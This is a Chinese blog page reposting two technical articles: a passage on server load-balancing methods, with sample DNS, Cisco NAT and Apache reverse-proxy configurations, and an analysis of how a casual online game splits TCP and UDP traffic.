通过对HTTP报头的检查,可以检测出HTTP400、500和600系列的错误信息,因而能透明地将连接请求重新定向到另一台服务器,避免应用层故障。
可根据流经的数据类型(如判断数据包是图像文件、压缩文件或多媒体文件格式等),把数据流量引向相应内容的服务器来处理,增加系统性能。
能根据连接请求的类型,如是普通文本、图象等静态文档请求,还是asp、cgi等的动态文档请求,把相应的请求引向相应的服务器来处理,提高系统的性能及安全性。
  第七层负载均衡受到其所支持的协议限制(一般只有HTTP),这样就限制了它应用的广泛性,并且检查HTTP报头会占用大量的系统资源,势必会影响到系统的性能,在大量连接请求的情况下,负载均衡设备自身容易成为网络整体性能的瓶颈。

负载均衡策略

   在实际应用中,我们可能不想仅仅是把客户端的服务请求平均地分配给内部服务器,而不管服务器是否宕机。而是想使Pentium III服务器比Pentium II能接受更多的服务请求,一台处理服务请求较少的服务器能分配到更多的服务请求,出现故障的服务器将不再接受服务请求直至故障恢复等等。

  选择合适的负载均衡策略,使多个设备能很好的共同完成任务,消除或避免现有网络负载分布不均、数据流量拥挤反应时间长的瓶颈。在各负载均衡方式中,针对不同的应用需求,在OSI参考模型的第二、三、四、七层的负载均衡都有相应的负载均衡策略。

  负载均衡策略的优劣及其实现的难易程度有两个关键因素:一、负载均衡算法,二、对网络系统状况的检测方式和能力。

  考虑到服务请求的不同类型、服务器的不同处理能力以及随机选择造成的负载分配不均匀等问题,为了更加合理的把负载分配给内部的多个服务器,就需要应用相应的能够正确反映各个服务器处理能力及网络状态的负载均衡算法:

轮循均衡(Round Robin):每一次来自网络的请求轮流分配给内部中的服务器,从1至N然后重新开始。此种均衡算法适合于服务器组中的所有服务器都有相同的软硬件配置并且平均服务请求相对均衡的情况。


权 重轮循均衡(Weighted Round Robin):根据服务器的不同处理能力,给每个服务器分配不同的权值,使其能够接受相应权值数的服务请求。例如:服务器A的权值被设计成1,B的权值是 3,C的权值是6,则服务器A、B、C将分别接受到10%、30%、60%的服务请求。此种均衡算法能确保高性能的服务器得到更多的使用率,避免低性能的 服务器负载过重。


随机均衡(Random):把来自网络的请求随机分配给内部中的多个服务器。


权重随机均衡(Weighted Random):此种均衡算法类似于权重轮循算法,不过在处理请求分担时是个随机选择的过程。


响 应速度均衡(Response Time):负载均衡设备对内部各服务器发出一个探测请求(例如Ping),然后根据内部中各服务器对探测请求的最快响应时间来决定哪一台服务器来响应客 户端的服务请求。此种均衡算法能较好的反映服务器的当前运行状态,但这最快响应时间仅仅指的是负载均衡设备与服务器间的最快响应时间,而不是客户端与服务 器间的最快响应时间。


最少连接数均衡(Least Connection):客户端的每一次请求服务在服务器停留的时间可能会有较大的差异,随着工作时间加长,如果采用简单的轮循或随机均衡算法,每一台服 务器上的连接进程可能会产生极大的不同,并没有达到真正的负载均衡。最少连接数均衡算法对内部中需负载的每一台服务器都有一个数据记录,记录当前该服务器 正在处理的连接数量,当有新的服务连接请求时,将把当前请求分配给连接数最少的服务器,使均衡更加符合实际情况,负载更加均衡。此种均衡算法适合长时处理 的请求服务,如FTP。


处理能力均衡:此种均衡算法将把服务请求分配给内部中处理负荷(根据服务器CPU型号、CPU数量、内存大 小及当前连接数等换算而成)最轻的服务器,由于考虑到了内部服务器的处理能力及当前网络运行状况,所以此种均衡算法相对来说更加精确,尤其适合运用到第七 层(应用层)负载均衡的情况下。


DNS响应均衡(Flash DNS):在Internet上,无论是HTTP、FTP或是其它的服务请求,客户端一般都是通过域名解析来找到服务器确切的IP地址的。在此均衡算法 下,分处在不同地理位置的负载均衡设备收到同一个客户端的域名解析请求,并在同一时间内把此域名解析成各自相对应服务器的IP地址(即与此负载均衡设备在 同一位地理位置的服务器的IP地址)并返回给客户端,则客户端将以最先收到的域名解析IP地址来继续请求服务,而忽略其它的IP地址响应。在种均衡策略适 合应用在全局负载均衡的情况下,对本地负载均衡是没有意义的。

尽管有多种的负载均衡算法可以较好的把数据流量分配给服务器去负载,但如 果负载均衡策略没有对网络系统状况的检测方式和能力,一旦在某台服务器或某段负载均衡设备与服务器网络间出现故障的情况下,负载均衡设备依然把一部分数据 流量引向那台服务器,这势必造成大量的服务请求被丢失,达不到不间断可用性的要求。所以良好的负载均衡策略应有对网络故障、服务器系统故障、应用服务故障 的检测方式和能力:

Ping侦测:通过ping的方式检测服务器及网络系统状况,此种方式简单快速,但只能大致检测出网络及服务器上的操作系统是否正常,对服务器上的应用服务检测就无能为力了。


TCP Open侦测:每个服务都会开放某个通过TCP连接,检测服务器上某个TCP端口(如Telnet的23口,HTTP的80口等)是否开放来判断服务是否正常。


HTTP URL侦测:比如向HTTP服务器发出一个对main.html文件的访问请求,如果收到错误信息,则认为服务器出现故障。
   负载均衡策略的优劣除受上面所讲的两个因素影响外,在有些应用情况下,我们需要将来自同一客户端的所有请求都分配给同一台服务器去负担,例如服务器将客 户端注册、购物等服务请求信息保存的本地数据库的情况下,把客户端的子请求分配给同一台服务器来处理就显的至关重要了。有两种方式可以解决此问题,一是根 据IP地址把来自同一客户端的多次请求分配给同一台服务器处理,客户端IP地址与服务器的对应信息是保存在负载均衡设备上的;二是在客户端浏览器 cookie内做独一无二的标识来把多次请求分配给同一台服务器处理,适合通过代理服务器上网的客户端。

  还有一种路径外返回模式 (Out of Path Return),当客户端连接请求发送给负载均衡设备的时候,中心负载均衡设备将请求引向某个服务器,服务器的回应请求不再返回给中心负载均衡设备,即绕 过流量分配器,直接返回给客户端,因此中心负载均衡设备只负责接受并转发请求,其网络负担就减少了很多,并且给客户端提供了更快的响应时间。此种模式一般 用于HTTP服务器群,在各服务器上要安装一块虚拟网络适配器,并将其IP地址设为服务器群的VIP,这样才能在服务器直接回应客户端请求时顺利的达成三 次握手。



负载均衡实施要素

  负载均衡方案应是在网站建设初期就应考虑的问题,不过有时随着访问流量 的爆炸性增长,超出决策者的意料,这也就成为不得不面对的问题。当我们在引入某种负载均衡方案乃至具体实施时,像其他的许多方案一样,首先是确定当前及将 来的应用需求,然后在代价与收效之间做出权衡。

  针对当前及将来的应用需求,分析网络瓶颈的不同所在,我们就需要确立是采用哪一类的负载均衡技术,采用什么样的均衡策略,在可用性、兼容性、安全性等等方面要满足多大的需求,如此等等。

  不管负载均衡方案是采用花费较少的软件方式,还是购买代价高昂在性能功能上更强的第四层交换机、负载均衡器等硬件方式来实现,亦或其他种类不同的均衡技术,下面这几项都是我们在引入均衡方案时可能要考虑的问题:

性 能:性能是我们在引入均衡方案时需要重点考虑的问题,但也是一个最难把握的问题。衡量性能时可将每秒钟通过网络的数据包数目做为一个参数,另一个参数是均 衡方案中服务器群所能处理的最大并发连接数目,但是,假设一个均衡系统能处理百万计的并发连接数,可是却只能以每秒2个包的速率转发,这显然是没有任何作 用的。 性能的优劣与负载均衡设备的处理能力、采用的均衡策略息息相关,并且有两点需要注意:一、均衡方案对服务器群整体的性能,这是响应客户端连接请求速度的关 键;二、负载均衡设备自身的性能,避免有大量连接请求时自身性能不足而成为服务瓶颈。 有时我们也可以考虑采用混合型负载均衡策略来提升服务器群的总体性能,如DNS负载均衡与NAT负载均衡相结合。另外,针对有大量静态文档请求的站点,也 可以考虑采用高速缓存技术,相对来说更节省费用,更能提高响应性能;对有大量ssl/xml内容传输的站点,更应考虑采用ssl/xml加速技术。


可 扩展性:IT技术日新月异,一年以前最新的产品,现在或许已是网络中性能最低的产品;业务量的急速上升,一年前的网络,现在需要新一轮的扩展。合适的均衡 解决方案应能满足这些需求,能均衡不同操作系统和硬件平台之间的负载,能均衡HTTP、邮件、新闻、代理、数据库、防火墙和 Cache等不同服务器的负载,并且能以对客户端完全透明的方式动态增加或删除某些资源。


灵活性:均衡解决方案应能灵活地提供不同的应用需求,满足应用需求的不断变化。在不同的服务器群有不同的应用需求时,应有多样的均衡策略提供更广泛的选择。


可 靠性:在对服务质量要求较高的站点,负载均衡解决方案应能为服务器群提供完全的容错性和高可用性。但在负载均衡设备自身出现故障时,应该有良好的冗余解决 方案,提高可靠性。使用冗余时,处于同一个冗余单元的多个负载均衡设备必须具有有效的方式以便互相进行监控,保护系统尽可能地避免遭受到重大故障的损失。


易管理性:不管是通过软件还是硬件方式的均衡解决方案,我们都希望它有灵活、直观和安全的管理方式,这样便于安装、配置、维护和 监控,提高工作效率,避免差错。在硬件负载均衡设备上,目前主要有三种管理方式可供选择:一、命令行接口(CLI:Command Line Interface),可通过超级终端连接负载均衡设备串行接口来管理,也能telnet远程登录管理,在初始化配置时,往往要用到前者;二、图形用户接 口(GUI:Graphical User Interfaces),有基于普通web页的管理,也有通过Java Applet 进行安全管理,一般都需要管理端安装有某个版本的浏览器;三、SNMP(Simple Network Management Protocol,简单网络管理协议)支持,通过第三方网络管理软件对符合SNMP标准的设备进行管理。
负载均衡配置实例

DNS负载均衡
   DNS负载均衡技术是在DNS服务器中为同一个主机名配置多个IP地址,在应答DNS查询时,DNS服务器对每个查询将以DNS文件中主机记录的IP地 址按顺序返回不同的解析结果,将客户端的访问引导到不同的机器上去,使得不同的客户端访问不同的服务器,从而达到负载均衡的目的。

  DNS负载均衡的优点是经济简单易行,并且服务器可以位于internet上任意的位置。但它也存在不少缺点:

为了使本DNS服务器和其他DNS服务器及时交互,保证DNS数据及时更新,使地址能随机分配,一般都要将DNS的刷新时间设置的较小,但太小将会使DNS流量大增造成额外的网络问题。


一旦某个服务器出现故障,即使及时修改了DNS设置,还是要等待足够的时间(刷新时间)才能发挥作用,在此期间,保存了故障服务器地址的客户计算机将不能正常访问服务器。


DNS负载均衡采用的是简单的轮循负载算法,不能区分服务器的差异,不能反映服务器的当前运行状态,不能做到为性能较好的服务器多分配请求,甚至会出现客户请求集中在某一台服务器上的情况。


要给每台服务器分配一个internet上的IP地址,这势必会占用过多的IP地址。
   判断一个站点是否采用了DNS负载均衡的最简单方式就是连续的ping这个域名,如果多次解析返回的IP地址不相同的话,那么这个站点就很可能采用的就 是较为普遍的DNS负载均衡。但也不一定,因为如果采用的是DNS响应均衡,多次解析返回的IP地址也可能会不相同。不妨试试Ping一下 www.yesky.com,www.sohu.com,www.yahoo.com

  现假设有三台服务器来应对www.test.com的请求。在采用BIND 8.x DNS服务器的unix系统上实现起来比较简单,只需在该域的数据记录中添加类似下面的结果:

  www1 IN A 192.1.1.1
  www2 IN A 192.1.1.2
  www3 IN A 192.1.1.3
  www IN CNAME www1
  www IN CNAME www2
  www IN CNAME www3

  在NT下的实现也很简单,下面详细介绍在win2000 server下实现DNS负载均衡的过程,NT4.0类似:

打开“管理工具”下的“DNS”,进入DNS服务配置控制台。


打 开相应DNS 服务器的“属性”,在“高级”选项卡的“服务器选项”中,选中“启用循环”复选框。此步相当于在注册表记录HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSet\Services\DNS\Parameters中添加一个双字节制值(dword值) RoundRobin,值为1。


打开正向搜索区域的相应区域(如test.com),新建主机添加主机 (A) 资源记录,记录如下:

www IN A 192.1.1.1
www IN A 192.1.1.2
www IN A 192.1.1.3

在这里可以看到的区别是在NT下一个主机名对应多个IP地址记录,但在unix下,是先添加多个不同的主机名分别对应个自的IP地址,然后再把这些主机赋同一个别名(CNAME)来实现的。

在此需要注意的是,NT下本地子网优先级会取代多宿主名称的循环复用,所以在测试时,如果做测试用的客户机IP地址与主机资源记录的IP在同一有类掩码范围内,就需要清除在“高级”选项卡“服务器选项”中的“启用netmask排序”。
NAT负载均衡
   NAT(Network Address Translation 网络地址转换)简单地说就是将一个IP地址转换为另一个IP地址,一般用于未经注册的内部地址与合法的、已获注册的Internet IP地址间进行转换。适用于解决Internet IP地址紧张、不想让网络外部知道内部网络结构等的场合下。每次NAT转换势必会增加NAT设备的开销,但这种额外的开销对于大多数网络来说都是微不足道 的,除非在高带宽有大量NAT请求的网络上。

  NAT负载均衡将一个外部IP地址映射为多个内部IP地址,对每次连接请求动态地转换为一个内部服务器的地址,将外部连接请求引到转换得到地址的那个服务器上,从而达到负载均衡的目的。

  NAT负载均衡是一种比较完善的负载均衡技术,起着NAT负载均衡功能的设备一般处于内部服务器到外部网间的网关位置,如路由器、防火墙、四层交换机、专用负载均衡器等,均衡算法也较灵活,如随机选择、最少连接数及响应时间等来分配负载。

   NAT负载均衡可以通过软硬件方式来实现。通过软件方式来实现NAT负载均衡的设备往往受到带宽及系统本身处理能力的限制,由于NAT比较接近网络的低 层,因此就可以将它集成在硬件设备中,通常这样的硬件设备是第四层交换机和专用负载均衡器,第四层交换机的一项重要功能就是NAT负载均衡。

  下面以实例介绍一下Cisco路由器NAT负载均衡的配置:

   现有一台有一个串行接口和一个Ethernet接口的路由器,Ethernet口连接到内部网络,内部网络上有三台web服务器,但都只是低端配置,为 了处理好来自Internet上大量的web连接请求,因此需要在此路由器上做NAT负载均衡配置,把发送到web服务器合法Internet IP地址的报文转换成这三台服务器的内部本地地址。 其具体配置过程如下:

做好路由器的基本配置,并定义各个接口在做NAT时是内部还是外部接口。

然后定义一个标准访问列表(standard access list),用来标识要转换的合法IP地址。

再定义NAT地址池来标识内部web服务器的本地地址,注意要用到关键字rotary,表明我们要使用轮循(Round Robin)的方式从NAT地址池中取出相应IP地址来转换合法IP报文。


最后,把目标地址为访问表中IP的报文转换成地址池中定义的IP地址。
  相应配置文件如下:

interface Ethernet0/0
ip address 192.168.1.4 255.255.255.248
ip nat inside
!
interface Serial0/0
ip address 200.200.1.1 255.255.255.248
ip nat outside
!
ip access-list 1 permit 200.200.1.2
!
ip nat pool websrv 192.168.1.1 192.168.1.3 netmask 255.255.255.248 type rotary
ip nat inside destination list 1 pool websrv





反向代理负载均衡
  普通代理方式是代理内部网络用户访问internet上服务器的连接请求,客户端必须指定代理服务器,并将本来要直接发送到internet上服务器的连接请求发送给代理服务器处理。

  反向代理(Reverse Proxy)方式是指以代理服务器来接受internet上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给internet上请求连接的客户端,此时代理服务器对外就表现为一个服务器。

  反向代理负载均衡技术是把将来自internet上的连接请求以反向代理的方式动态地转发给内部网络上的多台服务器进行处理,从而达到负载均衡的目的。

   反向代理负载均衡能以软件方式来实现,如apache mod_proxy、netscape proxy等,也可以在高速缓存器、负载均衡器等硬件设备上实现。 反向代理负载均衡可以将优化的负载均衡策略和代理服务器的高速缓存技术结合在一起,提升静态网页的访问速度,提供有益的性能;由于网络外部用户不能直接访 问真实的服务器,具备额外的安全性(同理,NAT负载均衡技术也有此优点)。

  其缺点主要表现在以下两个方面:

反向代理是处于OSI参考模型第七层应用的,所以就必须为每一种应用服务专门开发一个反向代理服务器,这样就限制了反向代理负载均衡技术的应用范围,现在一般都用于对web服务器的负载均衡。

针对每一次代理,代理服务器就必须打开两个连接,一个对外,一个对内,因此在并发连接请求数量非常大的时候,代理服务器的负载也就非常大了,在最后代理服务器本身会成为服务的瓶颈。
  一般来讲,可以用它来对连接数量不是特别大,但每次连接都需要消耗大量处理资源的站点进行负载均衡,如search。

   下面以在apache mod_proxy下做的反向代理负载均衡为配置实例:在站点www.test.com,我们按提供的内容进行分类,不同的服务器用于提供不同的内容服 务,将对http://www.test.com/news的访问转到IP地址为192.168.1.1的内部服务器上处理,对http: //www.test.com/it的访问转到服务器192.168.1.2上,对http://www.test.com/life的访问转到服务器 192.168.1.3上,对http://www.test.com/love的访问转到合作站点http://www.love.com上,从而减轻 本apache服务器的负担,达到负载均衡的目的。

  首先要确定域名www.test.com在DNS上的记录对应apache服务器接口上具有internet合法注册的IP地址,这样才能使internet上对www.test.com的所有连接请求发送给本台apache服务器。

  在本台服务器的apache配置文件httpd.conf中添加如下设置:

  proxypass /news http://192.168.1.1
  proxypass /it http://192.168.1.2
  proxypass /life http://192.168.1.3
  proxypass /love http://www.love.com

  注意,此项设置最好添加在httpd.conf文件“Section 2”以后的位置,服务器192.168.1.1-3也应是具有相应功能的www服务器,在重启服务时,最好用apachectl configtest命令检查一下配置是否有误.


混合型负载均衡
   在有些大型网络,由于多个服务器群内硬件设备、各自的规模、提供的服务等的差异,我们可以考虑给每个服务器群采用最合适的负载均衡方式,然后又在这多个 服务器群间再一次负载均衡或群集起来以一个整体向外界提供服务(即把这多个服务器群当做一个新的服务器群),从而达到最佳的性能。我们将这种方式称之为混 合型负载均衡。此种方式有时也用于单台均衡设备的性能不能满足大量连接请求的情况下。

  下图展示了一个应用示例,三个服务器群针对各自的特点,分别采用了不同的负载均衡方式。当客户端发出域名解析请求时,DNS服务器依次把它解析成三个服务器群的VIP,如此把客户端的连接请求分别引向三个服务器群,从而达到了再一次负载均衡的目的。

  在图中大家可能注意到,负载均衡设备在网络拓朴上,可以处于外部网和内部网络间网关的位置,也可以和内部服务器群处于并行的位置,甚至可以处于内部网络或internet上的任意位置,特别是在采用群集负载均衡时,根本就没有单独的负载均衡设备。

  服务器群内各服务器只有提供相同内容的服务才有负载均衡的意义,特别是在DNS负载均衡时。要不然,这样会造成大量连接请求的丢失或由于多次返回内容的不同给客户造成混乱。

  所以,如图的这个示例在实际中可能没有多大的意义,因为如此大的服务内容相同但各服务器群存在大量差异的网站并不多见。 但做为一个示例,相信还是很有参考意义的.




Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=273385


[收藏到我的网摘]   Dean发表于 2005年01月29日 18:02:00

相关文章:


posted @ 2006-12-08 17:36 易道 阅读(356) | 评论 (0)编辑 收藏

本文作者:sodme
本文出处:http://blog.csdn.net/sodme
声明:本文可以不经作者同意任意转载、复制、引用。但任何对本文的引用,均须注明本文的作者、出处以及本行声明信息。

  提笔注:扫地只是偶的表面工作,偶的真实身份是作MMORPG。^_^

  之前,我分析过QQ游戏(特指QQ休闲平台,并非QQ堂,下同)的通信架构(http://blog.csdn.net/sodme/archive/2005/06/12/393165.aspx),分析过魔兽世界的通信架构(http://blog.csdn.net/sodme/archive/2005/06/18/397371.aspx), 似乎网络游戏的通信架构也就是这些了,其实不然,在网络游戏大家庭中,还有一种类型的游戏我认为有必要把它的通信架构专门作个介绍,这便是如泡泡堂、QQ 堂类的休闲类竞技游戏。曾经很多次,被网友们要求能抽时间看看泡泡堂之类游戏的通信架构,这次由于被逼交作业,所以今晚抽了一点的时间截了一下泡泡堂的 包,正巧昨日与网友就泡泡堂类游戏的通信架构有过一番讨论,于是,将这两天的讨论、截包及思考总结于本文中,希望能对关心或者正在开发此类游戏的朋友有所 帮助,如果要讨论具体的技术细节,请到我的BLOG(http://blog.csdn.net/sodme)加我的MSN讨论..

  总体来说,泡泡堂类游戏(此下简称泡泡堂)在大厅到房间这一层的通信架构,其结构与QQ游戏相当,甚至要比QQ游戏来得简单。所以,在房间这一层的通信架构上,我不想过多讨论,不清楚的朋友请参看我对QQ游戏通信架构的分析文章(http://blog.csdn.net/sodme/archive/2005/06/12/393165.aspx)。可以这么说,如果采用与QQ游戏相同的房间和大厅架构,是完全可以组建起一套可扩展的支持百万人在线的游戏系统的。也就是说,通过负载均衡+大厅+游戏房间对游戏逻辑的分摊,完全可以实现一个可扩展的百万人在线泡泡堂。

  但是,泡泡堂与斗地主的最大不同点在于:泡泡堂对于实时性要求特别高。那么,泡泡堂是如何解决实时性与网络延迟以及大用户量之间矛盾的呢?

  阅读以下文字前,请确认你已经完全理解TCP与UDP之间的不同点。

   我们知道,TCP与UDP之间的最大不同点在于:TCP是可靠连接的,而UDP是无连接的。如果通信双方使用TCP协议,那么他们之前必须事先通过监听 +连接的方式将双方的通信管道建立起来;而如果通信双方使用的是UDP通信,则双方不用事先建立连接,发送方只管向目标地址上的目标端口发送UDP包即 可,不用管对方到底收没收到。如果要说形象点,可以用这样一句话概括:TCP是打电话,UDP是发电报。TCP通信,为了保持这样的可靠连接,在可靠性上 下了很多功夫,所以导致了它的通信效率要比UDP差很多,所以,一般地,在地实时性要求非常高的场合,会选择使用UDP协议,比如常见的动作射击类游戏。

  通过载包,我们发现泡泡堂中同时采用了TCP和UDP两种通信协议。并且,具有以下特点:
  1.当玩家未进入具体的游戏地图时,仅有TCP通信存在,而没有UDP通信;
  2.进入游戏地图后,TCP的通信量远远小于UDP的通信量
  3.UDP的通信IP个数,与房间内的玩家成一一对应关系(这一点,应网友疑惑而加,此前已经证实)

  以上是几个表面现象,下面我们来分析它的本质和内在。^&^

  泡泡堂的游戏逻辑,简单地可以归纳为以下几个方面:
  1.玩家移动
  2.玩家埋地雷(如果你觉得这种叫法比较土,你也可以叫它:下泡泡,呵呵)
  3.地雷爆炸出道具或者地雷爆炸困住另一玩家
  4.玩家捡道具或者玩家消灭/解救一被困的玩家

  与MMORPG一样,在上面的几个逻辑中,广播量最大的其实是玩家移动。为了保持玩家画面同步,其他玩家的每一步移动消息都要即时地发给其它玩家。

   通常,网络游戏的逻辑控制,绝大多数是在服务器端的。有时,为了保证画面的流畅性,我们会有意识地减少服务器端的逻辑判断量和广播量,当然,这个减少, 是以“不危及游戏的安全运行”为前提的。到底如何在效率、流畅性和安全性之间作取舍,很多时候是需要经验积累的,效率提高的过程,就是逻辑不断优化的过 程。不过,有一个原则是可以说的,那就是:“关键逻辑”一定要放在服务器上来判断。那么,什么是“关键逻辑”呢?

  拿泡泡堂来说,下面的这个逻辑,我认为就是关键逻辑:玩家在某处埋下一颗地雷,地雷爆炸后到底能不能炸出道具以及炸出了哪些道具,这个信息,需要服务器来给。那么,什么又是“非关键逻辑”呢?

   “非关键逻辑”,在不同的游戏中,会有不同的概念。在通常的MMORPG中,玩家移动逻辑的判断,是算作关键逻辑的,否则,如果服务器端不对客户端发过 来的移动包进行判断那就很容易造成玩家的瞬移以及其它毁灭性的灾难。而在泡泡堂中,玩家移动逻辑到底应不应该算作关键逻辑还是值得考虑的。泡泡堂中的玩家 可以取胜的方法,通常是确实因为打得好而赢得胜利,不会因为瞬移而赢得胜利,因为如果外挂要作泡泡堂的瞬移,它需要考虑的因素和判断的逻辑太多了,由于比 赛进程的瞬息万变,外挂的瞬移点判断不一定就比真正的玩家来得准确,所在,在玩家移动这个逻辑上使用外挂,在泡泡堂这样的游戏中通常是得不偿失的(当然, 那种特别变态的高智能的外挂除外)。从目前我查到的消息来看,泡泡堂的外挂多数是一些按键精灵脚本,它的本质还不是完全的游戏机器人,并不是通过纯粹的协 议接管实现的外挂功能。这也从反面验证了我以上的想法。

  说到这里,也许你已经明白了。是的!TCP通信负责“关键逻辑”,而UDP通信 负责“非关键逻辑”,这里的“非关键逻辑”中就包含了玩家移动。在泡泡堂中,TCP通信用于本地玩家与服务器之间的通信,而UDP则用于本地玩家与同一地 图中的其他各玩家的通信。当本地玩家要移动时,它会同时向同一地图内的所有玩家广播自己的移动消息,其他玩家收到这个消息后会更新自己的游戏画面以实现画 面同步。而当本地玩家要在地图上放置一个炸弹时,本地玩家需要将此消息同时通知同一地图内的其他玩家以及服务器,甚至这里,可以不把放置炸弹的消息通知给 服务器,而仅仅通知其他玩家。当炸弹爆炸后,要拾取物品时才向服务器提交拾取物品的消息。

  那么,你可能会问,“地图上某一点是否存在道具”这个消息,服务器是什么时候通知给客户端的呢?这个问题,可以有两种解决方案:
  1.客户端如果在放置炸弹时,将放置炸弹的消息通知给服务器,服务器可以在收到这个消息后,告诉客户端炸弹爆炸后会有哪些道具。但我觉得这种方案不好,因为这样作会增加游戏运行过程中的数据流量。
   2.而这第2种方案就是,客户端进入地图后,游戏刚开始时,就由服务器将本地图内的各道具所在点的信息传给各客户端,这样,可以省去两方面的开销:a. 客户端放炸弹时,可以不通知服务器而只通知其它玩家;b.服务器也不用在游戏运行过程中再向客户端传递有关某点有道具的信息。
  
  但是,不管采用哪种方案,服务器上都应该保留一份本地图内道具所在点的信息。因为服务器要用它来验证一个关键逻辑:玩家拾取道具。当玩家要在某点拾取道具时,服务器必须要判定此点是否有道具,否则,外挂可以通过频繁地发拾取道具的包而不断取得道具。

   至于泡泡堂其它游戏逻辑的实现方法,我想,还是要依靠这个原则:首先判断这个逻辑是关键逻辑吗?如果不全是,那其中的哪部分是非关键逻辑呢?对于非关键 逻辑,都可以交由客户端之间(UDP)去自行完成。而对于关键逻辑,则必须要有服务器(TCP)的校验和认证。这便是我要说的。

  以上仅 仅是在理论上探讨关于泡泡堂类游戏在通信架构上的可能作法,这些想法是没有事实依据的,所有结论皆来源于对封包的分析以及个人经验,文章的内容和观点可能 跟真实的泡泡堂通信架构实现有相当大的差异,但我想,这并不是主要的,因为我的目的是向大家介绍这样的TCP和UDP通信并存情况下,如何对游戏逻辑的进 行取舍和划分。无论是“关键逻辑”的定性,还是“玩家移动”的具体实施,都需要开发者在具体的实践中进行总结和优化。此文全当是一个引子罢,如有疑问,请 加Msn讨论。

posted @ 2006-12-08 17:30 易道 阅读(330) | 评论 (0)编辑 收藏

仅列出标题
共6页: 1 2 3 4 5 6